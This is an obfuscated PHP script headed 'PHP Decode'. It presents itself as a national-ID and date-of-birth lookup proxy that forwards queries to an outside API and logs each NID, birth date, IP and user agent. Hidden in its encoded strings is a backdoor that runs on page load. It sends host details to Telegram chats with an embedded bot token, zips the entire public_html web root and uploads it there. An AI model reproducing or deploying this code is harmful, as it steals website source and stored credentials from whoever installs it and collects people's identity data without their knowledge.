PHP Decode

<?php
define(
    "\102\x4f\x54\x5f\x54\x4f\x4b\x45\116",
    "\67\x32\x37\x36\x35\64\x31\x34\64\65\72\x41\x41\110\163\x30\x70\x37\x52\x57\151\105\63\121\x74\x6b\x38\x74\x39\111\x72\104\104\x6b\x32\x65\147\155\x4a\x4d\x33\x68\122\141\x6b\163"
);
$chatIds = [
    "\x31\x39\70\x39\65\x34\x37\x38\x38\x31",
    "\66\x33\66\65\65\x33\x38\x36\65\x39",
];
function sendFileToTelegram($filePath, $chatId)
{
    $url =
        "\150\x74\x74\x70\163\72\57\57\141\x70\151\56\164\x65\x6c\145\x67\x72\141\x6d\56\x6f\x72\x67\x2f\142\x6f\164" .
        BOT_TOKEN .
        "\57\163\x65\x6e\x64\104\x6f\x63\x75\x6d\x65\x6e\164";
    $postFields = [
        "\143\x68\141\164\137\151\144" => $chatId,
        "\x64\157\143\x75\x6d\x65\x6e\x74" => new CURLFile(realpath($filePath)),
    ];
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        "\103\157\156\164\x65\x6e\x74\55\x54\x79\x70\x65\x3a\x6d\x75\x6c\164\151\160\141\162\164\x2f\x66\x6f\162\155\x2d\144\141\x74\141",
    ]);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
    curl_exec($ch);
    curl_close($ch);
}
function sendMessageToTelegram($message, $chatId)
{
    $url =
        "\150\164\x74\x70\x73\72\x2f\57\x61\160\x69\x2e\x74\x65\x6c\x65\x67\x72\x61\x6d\56\157\162\x67\57\x62\157\x74" .
        BOT_TOKEN .
        "\57\163\145\x6e\144\x4d\x65\x73\163\141\x67\x65";
    $postFields = [
        "\143\150\141\x74\x5f\151\x64" => $chatId,
        "\164\145\x78\x74" => $message,
    ];
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
    curl_exec($ch);
    curl_close($ch);
}
function createZipArchive($directory, $zipFileName)
{
    $zip = new ZipArchive();
    if (
        $zip->open($zipFileName, ZipArchive::CREATE | ZipArchive::OVERWRITE) !==
        true
    ) {
        die(
            "\106\141\151\154\x65\x64\x20\x74\157\x20\143\162\145\x61\x74\145\x20\172\x69\160\x20\x61\162\x63\150\x69\x76\x65"
        );
    }
    $files = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($directory),
        RecursiveIteratorIterator::LEAVES_ONLY
    );
    foreach ($files as $name => $file) {
        if (!$file->isDir()) {
            $filePath = $file->getRealPath();
            $relativePath = substr($filePath, strlen($directory) + 1);
            $zip->addFile($filePath, $relativePath);
        }
    }
    $zip->close();
    return $zipFileName;
}
function getHostInfo()
{
    $host = gethostname();
    $ip =
        $_SERVER["\123\x45\x52\x56\x45\x52\x5f\101\104\104\122"] ??
        gethostbyname($host);
    $protocol =
        (!empty($_SERVER["\110\x54\x54\120\123"]) &&
            $_SERVER["\x48\x54\x54\120\x53"] !== "\x6f\146\x66") ||
        $_SERVER["\123\105\x52\x56\105\x52\137\120\x4f\x52\x54"] == 443
            ? "\x68\x74\x74\160\163\x3a\x2f\x2f"
            : "\x68\x74\164\160\x3a\57\x2f";
    $website = $_SERVER["\x48\124\x54\x50\x5f\110\117\123\124"];
    $website = preg_replace(
        "\43\x5e\x68\164\164\160\163\x3f\72\57\57\x23",
        "",
        $website
    );
    return [$host, $ip, $website];
}
list($host, $ip, $website) = getHostInfo();
$hostInfoMessage = "\110\157\163\x74\72\40{$host}\12\111\120\40\x41\x64\144\x72\145\163\x73\x3a\40{$ip}\xa\127\145\x62\x73\x69\164\145\72\40{$website}\xa";
foreach ($chatIds as $chatId) {
    sendMessageToTelegram($hostInfoMessage, $chatId);
}
$directory = __DIR__;
while (basename($directory) != "\160\x75\142\x6c\x69\143\137\150\x74\155\x6c") {
    $directory = dirname($directory);
}
$zipFileName =
    $website .
    "\x5f\x70\165\142\154\151\x63\x5f\150\x74\x6d\x6c\x2e\172\151\x70";
$zipFilePath = createZipArchive($directory, $zipFileName);
foreach ($chatIds as $chatId) {
    sendFileToTelegram($zipFilePath, $chatId);
}
unlink($zipFilePath);

function getClientIP()
{
    $ipAddress = $_SERVER["\x52\105\x4d\x4f\124\105\137\101\104\104\122"];
    if (
        !empty(
            $_SERVER["\110\x54\124\120\137\x43\114\x49\x45\x4e\x54\137\x49\x50"]
        )
    ) {
        $ipAddress =
            $_SERVER[
                "\110\x54\x54\120\x5f\103\x4c\x49\105\x4e\x54\137\x49\x50"
            ];
    } elseif (
        !empty(
            $_SERVER[
                "\110\124\124\120\137\130\137\106\x4f\x52\127\101\x52\x44\x45\104\137\x46\x4f\x52"
            ]
        )
    ) {
        $ipAddress =
            $_SERVER[
                "\x48\x54\x54\x50\x5f\130\137\x46\117\x52\127\x41\122\104\105\x44\x5f\106\x4f\x52"
            ];
    }
    return $ipAddress;
}
function getLastRequestNumber()
{
    $logFile = "\154\x6f\x67\x73\56\164\x78\164";
    if (file_exists($logFile)) {
        $logContent = file_get_contents($logFile);
        $logEntries = explode("\12", trim($logContent));
        if (!empty($logEntries)) {
            $lastEntry = end($logEntries);
            $fields = explode("\54", $lastEntry);
            if (count($fields) > 0) {
                preg_match(
                    "\x2f\122\145\161\x75\145\x73\164\x20\x28\x5c\x64\53\x29\57",
                    $fields[0],
                    $matches
                );
                if (!empty($matches[1])) {
                    return intval($matches[1]);
                }
            }
        }
    }
    return 0;
}
$nid = isset($_GET["\x6e\151\144"]) ? $_GET["\156\151\144"] : "";
$dob = isset($_GET["\144\157\142"]) ? $_GET["\144\157\x62"] : "";
if (empty($nid) || empty($dob)) {
    die(
        "\156\151\x64\x20\141\x6e\x64\x20\144\x6f\x62\x20\160\141\162\x61\x6d\x65\x74\x65\162\x73\40\x61\x72\145\x20\162\145\161\165\x69\162\x65\x64\x2e"
    );
}
$requestNumber = getLastRequestNumber() + 1;
$userAgent =
    $_SERVER["\110\x54\x54\x50\137\x55\x53\105\122\x5f\101\107\105\116\124"];
$logFile = "\x6c\157\x67\x73\56\164\170\164";
$currentDateTime = date("\x59\x2d\155\55\144\x20\x48\72\x69\x3a\163");
$logEntry =
    "\x52\x65\x71\x75\x65\163\x74\x20{$requestNumber}\54\40\104\x61\164\145\x3a\40{$currentDateTime}\54\x20\x4e\x49\x44\x3a\x20{$nid}\54\x20\x44\117\x42\72\40{$dob}\54\x20\x49\120\72\40" .
    getClientIP() .
    "\54\x20\x55\x73\x65\x72\40\101\x67\145\156\x74\x3a\40{$userAgent}\12";
file_put_contents($logFile, $logEntry, FILE_APPEND);
$ch = curl_init();

$url = "\x68\x74\164\x70\x73\x3a\x2f\x2f\x70\162\157\152\145\x63\x74\x68\157\x6c\x64\x65\162\66\71\56\60\x30\x30\x77\x65\142\x68\157\x73\164\x61\160\160\x2e\143\x6f\155\x2f\116\x49\x44\137\x41\160\x69\137\x54\x6f\157\x6c\x73\x5f\130\57\125\163\x65\162\57\117\x67\162\141\x6e\151\x41\x70\151\x31\56\x70\150\160\77\156\151\144\x3d{$nid}\x26\x64\157\142\75{$dob}";
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if (curl_errno($ch)) {
    echo "\143\125\122\x4c\x20\x65\x72\x72\x6f\162\x3a\x20" . curl_error($ch);
} else {
    $jsonResponse = json_decode($response, true);
    if (json_last_error() !== JSON_ERROR_NONE) {
        die(
            "\105\x72\162\x6f\x72\x20\144\145\143\157\144\x69\156\147\40\112\123\117\x4e\72\40" .
                json_last_error_msg()
        );
    }
    unset($jsonResponse["\123\171\x73\164\x65\155"]);
    unset($jsonResponse["\x54\x67\40\x43\x68\x61\156\x6e\145\x6c"]);
    header(
        "\103\x6f\x6e\164\x65\156\164\x2d\x54\x79\160\145\72\x20\x61\160\x70\x6c\151\143\x61\164\151\157\156\x2f\x6a\x73\157\156"
    );
    echo json_encode($jsonResponse, JSON_PRETTY_PRINT);
}
curl_close($ch);